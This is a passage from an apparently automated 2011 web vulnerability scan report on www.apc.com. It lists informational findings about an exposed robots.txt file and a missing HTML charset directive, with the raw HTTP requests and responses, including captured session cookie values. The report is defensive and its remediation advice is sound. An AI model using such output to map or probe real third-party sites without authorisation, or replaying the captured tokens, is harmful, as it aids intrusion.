The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: www.apc.com

Response

HTTP/1.0 200 OK
Content-Length: 1054
Content-Type: text/plain
Content-Location: http://www.apc.com/robots.txt
Last-Modified: Thu, 07 Jan 2010 16:31:51 GMT
Accept-Ranges: bytes
ETag: "e17190eab68fca1:a2398"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Thu, 14 Apr 2011 14:21:18 GMT
Connection: close

# Robot Exclusion Document for http://www.apcc.com and http://www.apc.com
# - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
#
#
# (c) 2007 American Power Conversion Corporation
#
#
...[SNIP]...

7. HTML does not specify charset  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www.apc.com
Path:   /favicon.ico

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

Request

GET /favicon.ico HTTP/1.1
Host: www.apc.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.204 Safari/534.16
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CFID=38690564; CFTOKEN=72793360; USERID=; USERHASH=; ORIGINALURLTOKEN=3717829D%2DAE46%2D4A3E%2D9D7F946A5DEC6E39; PB_HELP=0; BALANCE=www3stl; APCSITECODE=WW; TSK=; SEGMENTID=0; COOKIESET=yes; CP=null*; xtvrn=$475974$

Response

HTTP/1.1 404 Not Found
Content-Length: 10859
Content-Type: text/html
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Thu, 14 Apr 2011 14:22:54 GMT
Connection: close
Vary: Accept-Encoding

<html>

<head>
   <title>APC : File Not Found</title>
   <meta name="description" content="">
   <meta name="robots" content="noindex,nofollow">
   <meta name="keywords" content="">    
   <meta name="conta
...[SNIP]...

Report generated by XSS.CX at Thu Apr 14 14:24:35 CDT 2011.